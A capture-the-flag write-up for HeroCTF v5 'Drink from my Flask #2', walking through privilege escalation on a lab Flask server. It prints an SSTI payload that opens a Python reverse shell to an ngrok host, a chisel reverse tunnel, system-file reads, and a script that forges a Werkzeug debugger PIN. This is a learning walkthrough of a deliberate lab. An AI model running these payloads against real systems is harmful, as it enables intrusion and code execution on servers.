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Drink from my Flask#2

Table of Contents

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview

Background

Great job, you got acces to the machine ! But our dev has been working on an update. Can you leverage that to elevate your privileges ?

Format : Hero{flag}
Author : Log_s

NB: This challenge is a sequel to Drink from my Flask #1. Start the same machine and continue from there.

Enumeration

Remote Code Execute (RCE) via Server-Side Template Injection (SSTI) payload from “Drink from my Flask#1”: (Writeup: https://siunam321.github.io/ctf/HeroCTF-v5/Web/Drink-from-my-Flask-1/)

┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:13:16(HKT)]
└> ngrok tcp 4444
[...]
Forwarding                    tcp://0.tcp.ap.ngrok.io:15516 -> localhost:4444
[...]

┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:19:07(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...

\{\{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(\"python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\\\"0.tcp.ap.ngrok.io\\\",15516));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\\\"/bin/bash\\\")'\").read() \}\}


┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:28:03(HKT)]
└> nc -lnvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47154
www-data@flask:~/app$ whoami;hostname;id
whoami;hostname;id
www-data
flask
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@flask:~/app$

I’m www-data!

Now, let’s enumerate the system!

System users:

www-data@flask:~/app$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
flaskdev:x:1000:1000:,,,:/home/flaskdev:/bin/bash
www-data@flask:~/app$ ls -lah /home
ls -lah /home
total 12K
drwxr-xr-x 1 root     root     4.0K May 13 03:17 .
drwxr-xr-x 1 root     root     4.0K May 13 14:13 ..
drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 flaskdev

Let’s dig deeper into that user!

www-data@flask:~/app$ ls -lah /home/flaskdev/
ls -lah /home/flaskdev/
total 28K
drwxr-xr-x 1 flaskdev flaskdev 4.0K May 13 03:17 .
drwxr-xr-x 1 root     root     4.0K May 13 03:17 ..
lrwxrwxrwx 1 root     root        9 May 13 03:17 .bash_history -> /dev/null
-rw-r--r-- 1 flaskdev flaskdev  220 May 13 03:17 .bash_logout
-rw-r--r-- 1 flaskdev flaskdev 3.7K May 13 03:17 .bashrc
-rw-r--r-- 1 flaskdev flaskdev  807 May 13 03:17 .profile
-r-------- 1 flaskdev flaskdev   31 May 13 03:17 flag.txt
-rwxr-xr-x 1 root     root      219 May 12 10:17 reboot_flask.sh

In that user’s home directory, it has flag.txt, reboot_flask.sh.

reboot_flask.sh:

if [ `ps -aux | grep -E ".*/usr/bin/python3 /var/www/dev/app.py" | wc -l` != "2" ]
then
    pkill python3 -U 1000
    /usr/bin/python3 /var/www/dev/app.py # This dev app is not exposed, it's ok to run it as myself  
fi

This script will check the process of /var/www/dev/app.py is running or not.

If it’s not running, then kill it’s process and run /usr/bin/python3 /var/www/dev/app.py.

/var/www/dev/app.py:

from flask import Flask, Request, Response, make_response
from flask import request, render_template_string
import argparse
import jwt
import werkzeug


parser = argparse.ArgumentParser()
parser.add_argument("--port", help="Port on which to run the server", required=False, type=int, default=5000)


app = Flask(__name__)


class middleware():
    def __init__(self, app):
        self.app = app

    def __call__(self, environ, start_response):
        request = Request(environ)

        # Check for potential payloads in GET params
        for key, value in request.args.items():
            if len(value) > 50:
                res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)
                return res(environ, start_response)

        # Check for potential payloads in route
        if len(request.path) > 50:
            res = Response(u'Anormaly long payload', mimetype= 'text/plain', status=400)
            return res(environ, start_response)
        
        return self.app(environ, start_response)

app.wsgi_app = middleware(app.wsgi_app)

def add(a, b):
    return a + b
def substract(a, b):
    return a - b
def multiply(a, b):
    return a * b
def divide(a, b):
    if b < 0:
        return "Error: Division by zero"
    return a / b

operations = {
    "add": add,
    "substract": substract,
    "multiply": multiply,
    "divide": divide
}

def generateGuestToken():
    return jwt.encode({"role": "guest"}, key="key", algorithm="HS256")


@app.route("/")
def calculate():
    token = request.cookies.get('token')
    if token is None:
        token = generateGuestToken()
    try:
        decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])
        decodedToken.get('role')
    except:
        token = generateGuestToken()


    # Check if operation is valid to avoid crashes !
    op = request.args.get('op')
    if op not in ["add", "substract", "multiply", "divide"]:
        resp = make_response("<h2>Invalid operation</h2><br><p>Example: /?op=substract&n1=5&n2=2</p>")
        resp.set_cookie('token', token)
        return resp
    
    n1 = request.args.get('n1')
    n2 = request.args.get('n2')
    # Check if n1 and n2 are numbers, and prevent crashes ahah !
    try:
        n1 = int(n1)
        n2 = int(n2)
    except:
        return "<h2>Invalid number</h2>"

    result = operations[op](n1, n2)

    resp = make_response(render_template_string(render_template_string("""
        <h2>Result: </h2>
    """, result=result)))

    resp.set_cookie('token', token)

    return resp

@app.route("/adminPage")
def admin():

    # Get JWT token from cookies
    token = request.cookies.get('token')

    # Decode JWT token
    try:
        decodedToken = jwt.decode(token, key="key", algorithms=["HS256"])
    except:
        return render_template_string("<h2>Invalid token</h2>"), 403
    
    # Get role
    role = decodedToken.get('role')
    if role is None:
        return render_template_string("<h2>Invalid token</h2>"), 403

    if role == "admin":
        return render_template_string("Welcome admin !"), 200

    return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403


@app.errorhandler(werkzeug.exceptions.BadRequest)
def handle_page_not_found(e):
    return render_template_string("<h2>{page} was not found</h2><br><p>Only routes / and /adminPage are available</p>", page=request.path), 404

app.register_error_handler(404, handle_page_not_found)


app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)

Since I want a stable shell and transfering files between my VM and the instance machine, I’ll switch to pwncat-cs:

┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|22:49:10(HKT)]
└> pwncat-cs -lp 4444
/home/siunam/.local/lib/python3.11/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
[22:49:11] Welcome to pwncat 🐈!                                                            __main__.py:164
[22:50:01] received connection from 127.0.0.1:35986                                              bind.py:84
[22:50:05] localhost:35986: registered new host w/ db                                        manager.py:957
(local) pwncat$                                                                                            
(remote) www-data@flask:/var/www/app$ whoami;hostname;id
www-data
flask
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(remote) www-data@flask:/var/www/app$

Now, we can upload the pspy binary, which list out all the running processes:

(local) pwncat$ upload /opt/pspy/pspy64 /tmp/pspy64
/tmp/pspy64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 3.1/3.1 MB • 3.5 MB/s • 0:00:00
[22:52:14] uploaded 3.08MiB in 5.77 seconds                                                    upload.py:76
(local) pwncat$                                                                                            
(remote) www-data@flask:/var/www/app$ chmod +x /tmp/pspy64 
(remote) www-data@flask:/var/www/app$ /tmp/pspy64
[...]
2023/05/13 14:53:01 CMD: UID=0    PID=496    | CRON -f 
2023/05/13 14:53:01 CMD: UID=0    PID=497    | CRON -f 
2023/05/13 14:53:01 CMD: UID=1000 PID=498    | /bin/sh /home/flaskdev/reboot_flask.sh 
2023/05/13 14:53:01 CMD: UID=1000 PID=501    | grep -E .*/usr/bin/python3 /var/www/dev/app.py 
2023/05/13 14:53:01 CMD: UID=1000 PID=500    | ps -aux 
2023/05/13 14:53:01 CMD: UID=1000 PID=499    | /bin/sh /home/flaskdev/reboot_flask.sh 
2023/05/13 14:53:01 CMD: UID=1000 PID=502    | wc -l 
2023/05/13 14:54:01 CMD: UID=0    PID=503    | CRON -f 
2023/05/13 14:54:01 CMD: UID=1000 PID=504    | CRON -f 
2023/05/13 14:54:01 CMD: UID=1000 PID=505    | /bin/sh /home/flaskdev/reboot_flask.sh 
2023/05/13 14:54:01 CMD: UID=1000 PID=506    | /bin/sh /home/flaskdev/reboot_flask.sh 
2023/05/13 14:54:01 CMD: UID=1000 PID=509    | wc -l 
2023/05/13 14:54:01 CMD: UID=1000 PID=508    | grep -E .*/usr/bin/python3 /var/www/dev/app.py 
2023/05/13 14:54:01 CMD: UID=1000 PID=507    | ps -aux

As you can see, every minute a cronjob will be ran, which executes /bin/sh /home/flaskdev/reboot_flask.sh.

Now, which port is the development version of the web application is running?

Since netstat, ss doesn’t exist on the instance machine, I’ll upload netstat to there:

(local) pwncat$ upload /usr/bin/netstat /tmp/netstat
/tmp/netstat ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 155.3/155.3 KB • ? • 0:00:00
[22:55:37] uploaded 155.30KiB in 2.91 seconds                                                  upload.py:76
(local) pwncat$                                                                                            
(remote) www-data@flask:/var/www/app$ chmod +x /tmp/netstat 
(remote) www-data@flask:/var/www/app$ /tmp/netstat -tunlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      9/python3           
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.11:41449        0.0.0.0:*               LISTEN      -                   
udp        0      0 127.0.0.11:47134        0.0.0.0:*                           -

As you can see, the development one is running on port 5000.

(remote) www-data@flask:/var/www/app$ curl http://localhost:5000/
<h2>Invalid operation</h2><br><p>Example: /?op=substract&n1=5&n2=2</p>

Let’s compare the production one and the development one:

┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.13|23:02:30(HKT)]
└> diff dev_app.py prod_app.py 
24c24
<             if len(value) > 50:
---
>             if len(value) > 35: # 40 would be enough, but you never know, hein poda
29c29
<         if len(request.path) > 50:
---
>         if len(request.path) > 35:
117c117
<     return render_template_string("Sorry but you can't access this page, you're a '{role}'", role=role), 403
---
>     return render_template_string("Sorry but you can't access this page, you're a '{}'".format(role)), 403
122c122,123
<     return render_template_string("<h2>{page} was not found</h2><br><p>Only routes / and /adminPage are available</p>", page=request.path), 404
---
>     html = "<h2>{page} was not found</h2><br><p>Only routes / and /adminPage are available</p>".format(page=request.path)
>     return render_template_string(html), 404
127c128
< app.run(debug=True, use_debugger=True, use_reloader=False, host="0.0.0.0", port=parser.parse_args().port)
\ No newline at end of file
---
> app.run(host="0.0.0.0", port=parser.parse_args().port, debug=False, use_reloader=False)
\ No newline at end of file

In the production one’s SSTI exploit, it’s fixed on the /adminPage, as the role will just render {role}.

(remote) www-data@flask:/var/www/app$ curl -i -s -k -X $'GET' \
>     -H $'Host: localhost:5000' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
>     -b $'token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgc2VsZi5fVGVtcGxhdGVSZWZlcmVuY2VfX2NvbnRleHQuY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdpZCcpLnJlYWQoKSB9fSJ9.Ex_wow2iHjH97TNLAr0V-iO25-bnWc-prB3Bkw-KMDw' \
>     $'http://localhost:5000/adminPage'
HTTP/1.1 403 FORBIDDEN
Server: Werkzeug/2.3.4 Python/3.10.6
Date: Sat, 13 May 2023 15:09:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 55
Connection: close

Sorry but you can't access this page, you're a '{role}'

To access the development one, we must need to do port forwarding.

To do so, I’ll use chisel:

(local) pwncat$ upload /opt/chisel/chiselx64
./chiselx64 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.1/8.1 MB • 3.3 MB/s • 0:00:00
[23:30:16] uploaded 8.08MiB in 9.85 seconds                                                    upload.py:76
(local) pwncat$                                                                                            
(remote) www-data@flask:/tmp$ chmod +x chiselx64

Reverse port fowarding in server:

┌[siunam♥earth]-(/opt/chisel)-[2023.05.13|23:33:20(HKT)]
└> ./chiselx64 server -p 4444 --reverse
2023/05/13 23:33:23 server: Reverse tunnelling enabled
2023/05/13 23:33:23 server: Fingerprint e64LBwv+C0Ou8eG0p91ZpOmnV58zy7yJQ+QVSwfpDgI=
2023/05/13 23:33:23 server: Listening on http://0.0.0.0:4444

Connect to the server from the client:

(remote) www-data@flask:/tmp$ ./chiselx64 client 0.tcp.ap.ngrok.io:18937 R:5001:127.0.0.1:5000&
[1] 106
2023/05/13 15:47:59 client: Connecting to ws://0.tcp.ap.ngrok.io:18937

Now we can visit the development one in localhost:5001:

After some testing, the 404 and admin page doesn’t vulnerable to SSTI anymore:

Hmm… How can we escalate our privilege to user flaskdev…

In the development one, the debug mode is set to True!

In Flask, if debug mode is enabled, anyone can go to /console!

This console page can execute any Python code!!

Although it’s being locked by the PIN code, we can bypass that!

In KnightCTF 2023, I wrote a writeup for a web challenge called “Knight Search”: https://siunam321.github.io/ctf/KnightCTF-2023/Web-API/Knight-Search/.

In that writeup, I mentioned how to bypass the PIN code.

Boot ID:

(remote) www-data@flask:/tmp$ cat /etc/machine-id 
68f432c96a6d45f585a019af1ad31fc2

MAC address:

(remote) www-data@flask:/tmp$ cat /sys/class/net/eth0/address 
02:42:0a:63:64:02

Final public and private bits:

#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
	'flaskdev',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.10/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'2482665382914',# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
	'68f432c96a6d45f585a019af1ad31fc2'
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print("Pin: " + rv)

However, it still doesn’t work…

In /var/www, I noticed something weird:

(remote) www-data@flask:/var/www$ ls -lah
total 20K
drwxr-xr-x 1 root root 4.0K May 13 03:17 .
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..
drwxr-xr-x 1 root root 4.0K May 13 03:17 app
drwxrwxrwx 1 root root 4.0K May 13 03:17 config
drwxr-xr-x 1 root root 4.0K May 13 03:17 dev

The config directory is world-writable/readable/executable.

(remote) www-data@flask:/var/www$ ls -lah config/
total 8.0K
drwxrwxrwx 1 root root 4.0K May 13 03:17 .
drwxr-xr-x 1 root root 4.0K May 13 03:17 ..
lrwxrwxrwx 1 root root   12 May 13 03:17 urandom -> /dev/urandom

Inside that directory, it has a symbolic link (symlink) file pointing to /dev/urandom.

What can we do with that…

Exploitation

Then, I opened a ticket just to confirm the Werkzeug Debug Console is the right track or not:

So, 100% sure it’s about Werkzeug Debug Console PIN code bypass…

Hmm… Let’s read through the generating PIN code source code:

(remote) www-data@flask:/var/www/app$ 
(local) pwncat$ download /usr/local/lib/python3.10/dist-packages/werkzeug/debug/__init__.py

Then, around reading through it…

private_bits = [
        str(uuid.getnode()),
        get_machine_id(),
        open("/var/www/config/urandom", "rb").read(16) # ADDING EXTRA SECURITY TO PREVENT PIN FORGING
    ]

/var/www/config/urandom????

That makes a lot more sense why the symlink urandom file exists!

The above modifiied private_bits not only getting the MAC address of the machine and machine ID, but also 16 bytes from /var/www/config/urandom!

Now, since the directory /var/www/config/ is world-writable, we can just modify it!

(remote) www-data@flask:/var/www/app$ cd /var/www/config/
(remote) www-data@flask:/var/www/config$ mv urandom urandom.bak
(remote) www-data@flask:/var/www/config$ vi urandom
(remote) www-data@flask:/var/www/config$ cat urandom
AAAAAAAAAAAAAAAA

The modified /var/www/config/urandom now consists 16’s A character!

Now, the correct private bits is!

private_bits = [
	'2482665383426',# str(uuid.getnode()),  /sys/class/net/ens33/address 
	# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
	'97752bf5a62a4e9588a4aa4ccf85660f',
	'AAAAAAAAAAAAAAAA'
]

Note: The MAC address and machine ID is changed because of different instance machine.

┌[siunam♥earth]-(~/ctf/HeroCTF-v5/System/Drink-from-my-Flask#2)-[2023.05.14|20:51:07(HKT)]
└> python3 werkzeug-pin-bypass.py
Pin: 103-934-238

Fingers crossed!

Let’s go!!!

We can now read user flaskdev’s flag!

import os
os.popen('id').read()
os.popen('cat /home/flaskdev/flag.txt').read()

Conclusion

What we’ve learned:

  1. Werkzeug Debug Console PIN Code Bypass With Extra Hardening
  2. Horizontal Privilege Escalation Via Werkzeug Debug Console